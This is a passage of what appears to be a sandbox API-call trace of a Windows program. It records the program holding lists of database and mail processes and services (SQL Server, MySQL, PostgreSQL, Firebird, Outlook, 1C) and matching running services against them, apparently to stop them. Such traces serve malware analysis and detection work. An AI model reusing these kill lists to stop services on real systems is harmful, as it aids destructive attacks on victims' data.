	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d60b8 | out: hHeap=0x4a0000) returned 1
	[0085.038] lstrlenW (lpString="%systemdrive%") returned 13
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5a70 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb428 | out: hHeap=0x4a0000) returned 1
	[0085.038] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4da360 | out: hHeap=0x4a0000) returned 1
	[0085.038] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x2c) returned 0x4eb538
	[0085.038] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x2000) returned 0x51d648
	[0085.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4fd410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118
	[0086.162] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4d7c00*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0xa48


Thread:
	id = 4
	os_tid = 0xa54

	[0084.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f01e8
	[0084.997] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f01e8, Size=0x20) returned 0x4d5a98
	[0084.997] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5a98, Size=0x40) returned 0x4d6b30
	[0084.997] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6b30, Size=0x80) returned 0x4fb6d0
	[0084.997] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb6d0, Size=0x100) returned 0x4f1058
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f01e8
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f01e8, Size=0x20) returned 0x4d5a98
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5a98, Size=0x40) returned 0x4d6b30
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6b30, Size=0x80) returned 0x4fb6d0
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fb6d0, Size=0x100) returned 0x4f1160
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f01e8
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4f3098
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0200
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f3098, Size=0x8) returned 0x4f3078
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d60d8
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f3078, Size=0x10) returned 0x4f0218
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4d60f8
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4d5a98
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0218, Size=0x20) returned 0x4d5ac0
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d5ae8
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x16) returned 0x4d6118
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4d5b10
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f0218
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4f3078
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4d6b30
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f3078, Size=0x8) returned 0x4f3098
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x3c) returned 0x4d6b78
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f3098, Size=0x10) returned 0x4f0230
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d6138
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4d6158
	[0084.998] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0230, Size=0x20) returned 0x4d5b38
	[0084.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x4ebe60
	[0084.998] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0084.998] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f1058 | out: hHeap=0x4a0000) returned 1
	[0084.998] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0084.999] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f1160 | out: hHeap=0x4a0000) returned 1
	[0084.999] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4d5bd8
	[0084.999] EnumServicesStatusExW (in: hSCManager=0x4d5bd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0084.999] GetLastError () returned 0xea
	[0084.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x4fa1d8
	[0084.999] EnumServicesStatusExW (in: hSCManager=0x4d5bd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4fa1d8, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4fa1d8, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0085.000] CloseServiceHandle (hSCObject=0x4d5bd8) returned 1
	[0085.000] lstrlenW (lpString="Appinfo") returned 7
	[0085.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0085.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0085.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0085.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0085.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0085.000] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0085.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0085.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0085.000] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0085.000] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0085.001] lstrlenW (lpString="AudioSrv") returned 8
	[0085.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0085.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0085.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0085.001] lstrlenW (lpString="BFE") returned 3
	[0085.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0085.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0085.001] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0085.001] lstrlenW (lpString="CryptSvc") returned 8
	[0085.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0085.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0085.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0085.001] lstrlenW (lpString="CscService") returned 10
	[0085.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0085.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0085.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0085.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0085.001] lstrlenW (lpString="DcomLaunch") returned 10
	[0085.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0085.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0085.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0085.002] lstrlenW (lpString="Dhcp") returned 4
	[0085.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0085.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0085.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0085.002] lstrlenW (lpString="Dnscache") returned 8
	[0085.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0085.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0085.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0085.002] lstrlenW (lpString="DPS") returned 3
	[0085.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0085.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0085.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0085.002] lstrlenW (lpString="eventlog") returned 8
	[0085.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0085.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0085.002] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0085.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0085.002] lstrlenW (lpString="EventSystem") returned 11
	[0085.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0085.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0085.003] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0085.003] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0085.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0085.003] lstrlenW (lpString="gpsvc") returned 5
	[0085.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0085.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0085.003] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0085.003] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0085.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0085.003] lstrlenW (lpString="iphlpsvc") returned 8
	[0085.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0085.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0085.003] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0085.003] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0085.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0085.003] lstrlenW (lpString="LanmanServer") returned 12
	[0085.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0085.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0085.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0085.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0085.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0085.003] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0085.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0085.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0085.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0085.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0085.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0085.003] lstrlenW (lpString="lmhosts") returned 7
	[0085.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0085.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0085.004] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0085.004] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0085.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0085.004] lstrlenW (lpString="MMCSS") returned 5
	[0085.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0085.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0085.004] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0085.004] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0085.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0085.004] lstrlenW (lpString="MpsSvc") returned 6
	[0085.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0085.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0085.004] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0085.004] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0085.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0085.004] lstrlenW (lpString="Netman") returned 6
	[0085.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0085.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0085.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0085.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0085.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0085.004] lstrlenW (lpString="netprofm") returned 8
	[0085.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0085.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0085.004] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0085.005] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0085.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0085.005] lstrlenW (lpString="NlaSvc") returned 6
	[0085.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0085.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0085.005] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0085.005] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0085.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0085.005] lstrlenW (lpString="nsi") returned 3
	[0085.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0085.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0085.005] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0085.005] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0085.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0085.005] lstrlenW (lpString="PcaSvc") returned 6
	[0085.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0085.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0085.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0085.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0085.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0085.006] lstrlenW (lpString="PlugPlay") returned 8
	[0085.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0085.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0085.006] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0085.006] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0085.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0085.006] lstrlenW (lpString="Power") returned 5
	[0085.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0085.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0085.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0085.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0085.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0085.006] lstrlenW (lpString="ProfSvc") returned 7
	[0085.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0085.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0085.006] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0085.006] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0085.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0085.006] lstrlenW (lpString="RpcEptMapper") returned 12
	[0085.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0085.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0085.007] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0085.007] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0085.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0085.007] lstrlenW (lpString="RpcSs") returned 5
	[0085.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0085.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0085.007] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0085.007] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0085.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0085.007] lstrlenW (lpString="SamSs") returned 5
	[0085.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0085.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0085.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0085.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0085.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0085.007] lstrlenW (lpString="Schedule") returned 8
	[0085.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0085.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0085.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0085.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0085.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0085.008] lstrlenW (lpString="SENS") returned 4
	[0085.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0085.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0085.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0085.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0085.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0085.008] lstrlenW (lpString="ShellHWDetection") returned 16
	[0085.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0085.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0085.008] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0085.008] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0085.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0085.008] lstrlenW (lpString="Spooler") returned 7
	[0085.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0085.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0085.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0085.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0085.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0085.009] lstrlenW (lpString="SysMain") returned 7
	[0085.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0085.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0085.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0085.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0085.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0085.009] lstrlenW (lpString="Themes") returned 6
	[0085.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0085.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0085.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0085.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0085.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0085.009] lstrlenW (lpString="TrkWks") returned 6
	[0085.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0085.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0085.010] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0085.010] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0085.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0085.010] lstrlenW (lpString="UxSms") returned 5
	[0085.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0085.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0085.010] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0085.010] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0085.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0085.010] lstrlenW (lpString="WdiServiceHost") returned 14
	[0085.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0085.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0085.010] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0085.010] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0085.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0085.010] lstrlenW (lpString="WdiSystemHost") returned 13
	[0085.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0085.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0085.011] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0085.011] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0085.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0085.011] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0085.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0085.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0085.011] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0085.011] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0085.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0085.011] lstrlenW (lpString="Winmgmt") returned 7
	[0085.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0085.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0085.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0085.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
